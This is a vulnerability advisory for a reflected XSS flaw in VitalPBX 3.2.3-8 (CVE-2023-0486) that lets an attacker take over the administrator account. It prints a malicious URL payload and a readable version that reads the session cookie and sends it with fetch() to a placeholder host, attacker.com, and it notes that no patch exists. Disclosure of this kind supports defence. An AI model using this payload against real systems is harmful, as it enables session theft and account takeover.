VitalPBX 3.2.3-8 - Account Takeover via Reflected XSS

Description

VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance's administrator account via a malicious link. This is possible because the application is vulnerable to XSS.

Vulnerability

This vulnerability occurs because the application is vulnerable to XSS.

Exploit

To exploit this vulnerability, we just need to send a malicious url like the following to the administrator.

http://vulnerable.com/?class=<img+src=1+onerror='sid=document.cookie.split(`;`)[0].split(`=`)[1]

The payload, in a more readable format, looks like this.

sid=document.cookie.split(`;`)[0].split(`=`)[1];
fetch(`https://attacker.com/vitalpbx/leak?sid=`+sid);

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0486 to refer to this issue from now on. Disclosure policy

System Information

• Version: VitalPBX 3.2.3-8

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://vitalpbx.com/